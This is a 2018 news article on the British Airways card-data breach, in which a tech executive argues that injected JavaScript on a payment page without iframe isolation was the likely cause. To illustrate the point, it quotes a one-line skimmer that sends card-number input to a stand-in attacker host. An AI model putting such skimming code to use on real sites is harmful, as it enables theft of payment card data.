Security Market Segment LS
Saturday, 08 September 2018 10:16

BA site breach through XSS flaw, says tech firm chief Featured

By
BA site breach through XSS flaw, says tech firm chief Pixabay

The British Airways website breach appears to have been done through a cross-site scripting flaw, according to the chief executive of a Web automation company in the UK.

Marcus Greenwood, who heads UBIO, said an analysis of the payment page of the airline showed that files were being loaded from seven external domains.

"These include files from analytics, customer service and A/B testing tools. These should not be present on Web pages processing customer card data," he wrote.

British Airways disclosed that the financial and personal details of 380,000 customers had been stolen from its site between 21 August and 5 September.

Well-known security researcher Mustafa Al-Bassam said earlier on Saturday that British Airways had changed the third-party JavaScript code it loads on its website as a result of a privacy complaint he had made.

Greenwood pointed out that there was no <iframe> isolation of the payment card fields on the BA payment page. "The card number field resides in the top frame as you can see below."

payment card

"This is bad because it is trivial for any JavaScript file loaded to steal the card details and post to another 3rd party domain. This is called XSS," he added, posting code to illustrate what he was saying:

document.querySelector(‘#CardNumber1’).addEventListener(‘change’, (e) => { fetch(‘https://evilhacker.lol/card-details.php’, { method: ‘post’, body: e.target.value });

Greenwood said: "If the card details were collected in a third party domain <iframe>, it would prevent this basic XSS attack vector because JavaScript files loaded in the main window are not able to access the contents of a third party domain<iframe>.

"Given customer details were only stolen from users on the site between 21 August and 5 September, it’s likely that the hack was an XSS exploit rather than a database hack or similar."

He said the credit card firms like Visa and MasterCard had schemes for PCI compliance which set out the rules for collecting and storing card information.

pci card

These had to be observed by "any company that directly deals with card data, such as BA and go into considerable detail around encryption, physical and logical separation of infrastructure dealing with card data, staff access to PCI infrastructure etc etc … and of course vulnerability scanning including XSS".

"For reasons which are quite clear, XSS vulnerabilities in your PCI infrastructure mean an automatic failure. I think it is quite clear that whatever BA have done to 'fix the issue' is insufficient to protect the security of cardholder data," Greenwood added.

Contacted for comment, a BA spokesperson said a police investigation was underway into the breach and the company did not wish to compromise it.

"No British Airways customer will be left out of pocket as a result of this criminal cyber attack on its website, ba.com, and the airline's mobile app," the spokesperson said.

"The airline has guaranteed that financial losses suffered by customers directly because of the theft of this data from British Airways will be reimbursed, and is recommending that customers contact their bank or card provider if they made a booking or change to their  booking between 22:58 BST August 21 2018 ((7.58am AEST on 22 August) and 21:45 BST September 5 2018 (6.45am AEST 6 September).

"We understand that this incident will cause concern and inconvenience. We have contacted all affected customers to say sorry, and we will continue to update them in the coming days. British Airways will not be contacting any customers asking for payment card details, any such requests should be reported to the police and relevant authorities.

"British Airways continues to investigate with the police and cyber specialists, and has reported the data theft to the Information Commissioner."

Graphics: courtesy Marcus Greenwood

CHIEF DATA & ANALYTICS OFFICER BRISBANE 2020

26-27 February 2020 | Hilton Brisbane

Connecting the region’s leading data analytics professionals to drive and inspire your future strategy

Leading the data analytics division has never been easy, but now the challenge is on to remain ahead of the competition and reap the massive rewards as a strategic executive.

Do you want to leverage data governance as an enabler?Are you working at driving AI/ML implementation?

Want to stay abreast of data privacy and AI ethics requirements? Are you working hard to push predictive analytics to the limits?

With so much to keep on top of in such a rapidly changing technology space, collaboration is key to success. You don't need to struggle alone, network and share your struggles as well as your tips for success at CDAO Brisbane.

Discover how your peers have tackled the very same issues you face daily. Network with over 140 of your peers and hear from the leading professionals in your industry. Leverage this community of data and analytics enthusiasts to advance your strategy to the next level.

Download the Agenda to find out more

DOWNLOAD NOW!

Sam Varghese

website statistics

Sam Varghese has been writing for iTWire since 2006, a year after the site came into existence. For nearly a decade thereafter, he wrote mostly about free and open source software, based on his own use of this genre of software. Since May 2016, he has been writing across many areas of technology. He has been a journalist for nearly 40 years in India (Indian Express and Deccan Herald), the UAE (Khaleej Times) and Australia (Daily Commercial News (now defunct) and The Age). His personal blog is titled Irregular Expression.

VENDOR NEWS & EVENTS

REVIEWS

Recent Comments